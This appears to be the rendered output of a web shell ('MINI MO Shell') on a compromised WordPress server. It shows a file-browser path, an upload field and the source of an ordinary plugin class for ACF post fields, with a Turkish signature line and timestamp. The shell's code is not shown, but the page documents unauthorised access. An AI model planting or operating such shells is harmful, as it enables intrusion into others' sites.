GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxygen/plugin/dynamic-data/fields/acf/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxygen/plugin/dynamic-data/fields/acf/acf-post-field.php

<?php

namespace Breakdance\DynamicData;

class AcfPostField extends PostField {

    public $field;

    public function __construct($field)
    {
        $this->field = $field;
    }

    /**
     * @inheritDoc
     */
    public function label()
    {
        return $this->field['label'];
    }

    /**
     * @inheritDoc
     */
    public function category()
    {
        return 'ACF';
    }

    /**
     * @inheritDoc
     */
    public function subcategory()
    {
        return $this->field['group'];
    }

    /**
     * @param string $postType
     * @return bool
     */
    public function availableForPostType($postType)
    {
        return AcfField::isFieldAvailableForPostType($this->field, $postType);
    }

    /**
     * @inheritDoc
     */
    public function slug()
    {
        return 'acf_field_' . $this->field['key'];
    }

    public function getPost()
    {
        $value = AcfField::getValue($this->field);
        if (!$value) {
            return false;
        }
        return get_post($value);
    }

}

OHA YOOO - Tarih: 2026-08-04 00:09:03